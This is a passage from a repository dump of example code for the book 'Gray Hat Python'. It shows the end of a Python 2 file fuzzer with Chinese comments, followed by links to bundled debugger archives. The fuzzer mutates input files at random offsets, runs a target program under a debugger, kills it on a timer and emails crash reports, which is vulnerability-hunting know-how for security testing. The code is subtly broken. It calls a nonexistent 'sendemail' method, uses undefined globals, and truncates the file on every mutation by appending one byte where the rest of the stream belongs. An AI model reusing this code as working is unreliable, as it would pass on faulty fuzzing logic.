| self.running = False 109 | return DBG_EXCEPTION_NOT_HANDLED 110 | 111 | # 监视进程,确保在一段事件以后杀死被调试的进程 112 | def monitor_debugger(self): 113 | counter = 0; 114 | print "[*] Monitor thread for pid: %d waiting." % self.pid, 115 | while counter < 3: 116 | time.sleep(1) 117 | print counter, 118 | counter += 1 119 | # 不在处理访问违规就结束那个被调试的进程 120 | if self.in_accessv_handler != True: 121 | time.sleep(1) 122 | self.dbg.terminate_process() 123 | self.pid = None 124 | self.running = False 125 | else: 126 | print "[*] The access violation handler is doing its business.Waiting." 127 | 128 | while self.running: 129 | time.sleep(1) 130 | 131 | def notify(self): 132 | crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration: %d\n\nOutput:\n\n %s" % (self.sender, self.iteration, self.crash) 133 | session = smtplib.SMTP(smtpserver) 134 | session.sendemail(sender, recipents, crash_message) 135 | session.quit() 136 | return 137 | 138 | # 变形函数 139 | def mutate_file(self): 140 | # 打开我们的测试文件,读取里面的内容 141 | fd = open("test.%s" % self.ext, "rb") 142 | stream = fd.read() 143 | fd.close() 144 | 145 | # 随机选取前面的测试用例来测试 146 | test_case = self.test_cases[random.randint(0, len(self.test_cases)-1)] 147 | # 看看文件数据流有多长,根据这个来随机选择位置来插入 148 | stream_length = len(stream) 149 | rand_offset = random.randint(0, stream_length-1) 150 | # 随机选取插入次数 151 | rand_len = random.randint(0, 1000) 152 | # 将选出来的测试用例乘以次数 153 | test_case = test_case * rand_len 154 | 155 | # 在选取的插入位置处插入我们的测试用例 156 | fuzz_file = stream[0:rand_offset] 157 | fuzz_file += str(test_case) 158 | fuzz_file += stream[rand_offset] 159 | 160 | # 最后将其输出文件 161 | fd = open("test.%s" % self.ext, "wb") 162 | fd.write(fuzz_file) 163 | fd.close() 164 | return 165 | 166 | def print_usage(): 167 | print "[*]" 168 | print "[*] file_fuzzer.py -e -x " 169 | print "[*]" 170 | sys.exit(0) 171 | 172 | if __name__ == '__main__': 173 | print "[*] Generic File Fuzzer." 174 | try: 175 | opts,argo = getopt.getopt(sys.argv[1:], "e:x:n") 176 | except getopt.GetoptError: 177 | print_usage() 178 | 179 | exe_path = None 180 | ext = None 181 | notify = False 182 | 183 | for o,a in opts: 184 | if o == "-e": 185 | exe_path = a 186 | elif o == "-x": 187 | ext = a 188 | elif o == "-n": 189 | notify = True 190 | 191 | if exe_path is not None and ext is not None: 192 | fuzzer = file_fuzzer(exe_path, ext, notify) 193 | fuzzer.fuzz() 194 | else: 195 | print_usage() 196 | 197 | 198 | 199 | -------------------------------------------------------------------------------- /chapter8/test..txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/chapter8/test..txt -------------------------------------------------------------------------------- /chapter8/test.txt: -------------------------------------------------------------------------------- 1 | fdfd -------------------------------------------------------------------------------- /ghpython_src(作者打包的源码,不是很全).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/ghpython_src(作者打包的源码,不是很全).zip -------------------------------------------------------------------------------- /paimei-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/paimei-master.zip -------------------------------------------------------------------------------- /pydasm.pyd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/pydasm.pyd -------------------------------------------------------------------------------- /pydbg-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/pydbg-master.zip --------------------------------------------------------------------------------